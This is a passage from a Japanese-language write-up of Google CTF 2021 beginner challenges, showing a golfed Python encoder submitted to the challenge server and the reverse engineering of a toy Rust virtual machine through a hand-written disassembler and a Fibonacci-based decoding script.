for i in range(len(data_to_decrypt)):
byte_to_decrypt = data_to_decrypt[i]
key_number = NUMBERS[i]
output.append(byte_to_decrypt ^ (key_number & 0xff))
return bytes(bytearray(output))
def decode(input_data_as_byte_stream):
decrypted_data = step2_decrypt_data(input_data_as_byte_stream)
data = step1_decode_tlv(decrypted_data)
return data
encoder.pyをゴルフする。235バイト以下になればOK。
- 素数はテーブル埋込みではなく計算
-
bytes("abc...xyz")
はbytes(range(97,123))
- 頻出の関数は1文字変数に代入
- 削れる改行は削る
- Pythonなので改行したらインデントもいれないといけない
くらいか。
r=range
b=bytes
P=[]
for i in r(2,9999):
if all(i%p for p in P):P+=[i]
def m(t,d):return t+len(d).to_bytes(4,"big")+d
def encode(s):d=m(b"BEGN",b(r(97,123)))+m(b"DATA",s)+m(b"END.",b(r(65,91)));return b(a^b&255 for a,b in zip(d,P))
232バイト。
$ nc playing-golf.2021.ctfcompetition.com 1337
== proof-of-work: disabled ==
Please send your code followed by a line containing only #END
- We will rstrip the lines for you btw.
- Time limit is 5 seconds.
r=range
b=bytes
P=[]
for i in r(2,9999):
if all(i%p for p in P):P+=[i]
def m(t,d):return t+len(d).to_bytes(4,"big")+d
def encode(s):d=m(b"BEGN",b(r(97,123)))+m(b"DATA",s)+m(b"END.",b(r(65,91)));return b(a^b&255 for a,b in zip(d,P))
# END
Testing your code (length 232)...
[I][2021-09-03T15:35:09+0000] Mode: STANDALONE_ONCE
:
[I][2021-09-03T15:35:09+0000] Executing '/usr/bin/python3' for '[STANDALONE MODE]'
Running encode() on all tests...
Saving results...
[I][2021-09-03T15:35:09+0000] pid=3 ([STANDALONE MODE]) exited with status: 0, (PIDs left: 0)
Verifying tests...
All tests passed!
CTF{EncodingSuccessfulIntelReceivedCorrectly}
CTF{EncodingSuccessfulIntelReceivedCorrectly}
18: Strange Virtual Machine (reversing)
Rustで実装されたVM。
vm-cli>cargo build --release
Compiling vm v0.1.0 (C:\documents\ctf\googlectf2021b\18\vm)
Compiling vm-cli v0.1.0 (C:\documents\ctf\googlectf2021b\18\vm-cli)
Finished release [optimized] target(s) in 0.67s
>vm-cli\target\release\vm-cli.exe vm.rom
CTF{ThisIsAVeryLongFlagA^C
実行が終わらない。まあ、これで解けるわけはない。
逆アセンブラを書いて逆アセンブル。
f = open("vm.rom", "rb")
while True:
print("%4x: "%f.tell(), end="")
op = f.read(1)
if op==b"":
break
op = op[0]
if op==0:
print("nop")
elif op==1:
reg = f.read(1)[0]
v = int.from_bytes(f.read(4), "little")
print("r%02x = %x"%(reg, v))
elif op==2:
reg1 = f.read(1)[0]
reg2 = f.read(1)[0]
print("r%02x = r%02x"%(reg1, reg2))
elif op==3:
rego = f.read(1)[0]
reg1 = f.read(1)[0]
op = f.read(1)[0]
reg2 = f.read(1)[0]
print("r%02x = r%02x %s r%02x"%(rego, reg1, " +-*/"[op], reg2))
elif op==4:
reg = f.read(1)[0]
print("push r%02x"%reg)
elif op==5:
reg = f.read(1)[0]
print("pop r%02x"%reg)
elif op==8:
print("poppc")
elif op==9:
reg1 = f.read(1)[0]
op = f.read(1)[0]
reg2 = f.read(1)[0]
print("test r%02x %s r%02x"%(reg1, ["<", "<="][op], reg2))
elif op==10:
v = int.from_bytes(f.read(4), "little")
print("jumpcond 0x%x"%v)
elif op==11:
v = int.from_bytes(f.read(4), "little")
print("call 0x%x"%v)
elif op==0xfc:
print("strlen")
elif op==0xfd:
print("charat")
elif op==0xfe:
print("print")
elif op==0xff:
print("exit")
else:
break
0: r69 = 0
6: r01 = r69
9: call 0xbc
e: exit
f: poppc
10: push r47
12: r47 = r01
15: r69 = 0
1b: test r47 <= r69
1f: jumpcond 0x30
24: r69 = 0
2a: r00 = r69
2d: pop r47
2f: poppc
30: r69 = 100
36: test r47 < r69
3a: jumpcond 0x45
3f: r00 = r47
42: pop r47
44: poppc
45: r69 = 100
4b: r69 = r47 - r69
50: r01 = r69
53: call 0x10
58: pop r47
5a: poppc
5b: pop r47
5d: poppc
5e: push r47
60: r47 = r01
63: r69 = 2
69: test r47 <= r69
6d: jumpcond 0x7e
72: r69 = 1
78: r00 = r69
7b: pop r47
7d: poppc
7e: r69 = 1
84: r69 = r47 - r69
89: r01 = r69
8c: call 0x5e
91: r78 = r00
94: push r78
96: r69 = 2
9c: r69 = r47 - r69
a1: r01 = r69
a4: call 0x5e
a9: pop r78
ab: r79 = r00
ae: r69 = r78 + r79
b3: r00 = r69
b6: pop r47
b8: poppc
b9: pop r47
bb: poppc
bc: push r47
be: r47 = r01
c1: r01 = r42
c4: strlen
c5: test r47 < r00
c9: jumpcond 0x12f
ce: r01 = r42
d1: r02 = r47
d4: charat
d5: r48 = r00
d8: push r48
da: push r48
dc: r69 = 1
e2: r69 = r47 + r69
e7: r01 = r69
ea: call 0x5e
ef: pop r48
f1: r69 = r47 + r00
f6: r69 = r48 + r69
fb: r01 = r69
fe: call 0x10
103: pop r48
105: r48 = r00
108: push r48
10a: push r48
10c: r01 = r48
10f: print
110: pop r48
112: pop r48
114: push r48
116: push r48
118: r69 = 1
11e: r69 = r47 + r69
123: r01 = r69
126: call 0xbc
12b: pop r48
12d: pop r48
12f: pop r47
131: poppc
132:
文字コードっぽい番号のレジスタは文字に置き換えると読みやすい。関数とループで区切ってこんな感じ。
0: i = 0
6: r01 = i
9: call 0xbc
e: exit
f: ret
10: push G
12: G = r01
15: i = 0
1b: test G <= i
1f: jumpcond 0x30
24: i = 0
2a: r00 = i
2d: pop G
2f: ret
30: i = 100
36: test G < i
3a: jumpcond 0x45
3f: r00 = G
42: pop G
44: ret
45: i = 100
4b: i = G - i
50: r01 = i
53: call 0x10
58: pop G
5a: ret
5b: pop G
5d: ret
5e: push G
60: G = r01
63: i = 2
69: test G <= i
6d: jumpcond 0x7e
72: i = 1
78: r00 = i
7b: pop G
7d: ret
7e: i = 1
84: i = G - i
89: r01 = i
8c: call 0x5e
91: x = r00
94: push x
96: i = 2
9c: i = G - i
a1: r01 = i
a4: call 0x5e
a9: pop x
ab: y = r00
ae: i = x + y
b3: r00 = i
b6: pop G
b8: ret
b9: pop G
bb: ret
bc: push G
be: G = r01
c1: r01 = B
c4: strlen
c5: test G < r00
c9: jumpcond 0x12f
ce: r01 = B
d1: r02 = G
d4: charat
d5: H = r00
d8: push H
da: push H
dc: i = 1
e2: i = G + i
e7: r01 = i
ea: call 0x5e
ef: pop H
f1: i = G + r00
f6: i = H + i
fb: r01 = i
fe: call 0x10
103: pop H
105: H = r00
108: push H
10a: push H
10c: r01 = H
10f: print
110: pop H
112: pop H
114: push H
116: push H
118: i = 1
11e: i = G + i
123: r01 = i
126: call 0xbc
12b: pop H
12d: pop H
12f: pop G
131: ret
r00
は戻り値、r01
は引数として使っていることに気をつけて、Pythonに直すとこう。
f_bc(0)
exit(0)
def f_10(G):
if G<0:
return 0
if G<=100
return G
return f_10(G-100)
def f_5e(G):
if G<2:
return 1
x = f_5e(G-1)
y = f_5e(G-2)
return x+y
def f_bc(G):
if G<strlen(INPUT):
H = INPUT[G]
H = f_10(G+H+f_5e(G+1))
print(char(H))
f_bc(G+1)
再帰呼び出しでフィボナッチ数を計算している。そりゃ終わらない。
INPUT = [
66, 82, 66, 117, 75, 91, 86, 87, 31, 51, 222, 187, 112, 236, 9, 98, 34, 69, 0, 198, 150, 29,
96, 10, 69, 26, 253, 225, 164, 8, 110, 67, 102, 108, 103, 162, 209, 1, 173, 130, 186, 5, 123,
109, 187, 215, 86, 232, 23, 215, 184, 79, 171, 232, 128, 67, 138, 153, 251, 92, 4, 94, 93,
]
F = [0]*len(INPUT)
F[0] = F[1] = 1
for i in range(2, len(F)):
F[i] = F[i-1]+F[i-2]
print("".join(chr((INPUT[i]+F[i]+i)%256) for i in range(len(INPUT))))
CTF{ThisIsAVeryLongFlagAndYouMightRunOutOfJuiceWhileDecodingIt}
ルート
問題を解くごとに1個か2個の次の問題が解放される。最後の18番目の問題を解けばクリア。次の問題を解くと、表示されていたルートが消えるので、結局どういう道順を辿るのか分からない。図示してみたらこんな感じ。
世界を飛び回ってぐちゃぐちゃ。こりゃ全部は表示できないか。
ほどくとこうなる。わりと素直な感じだった。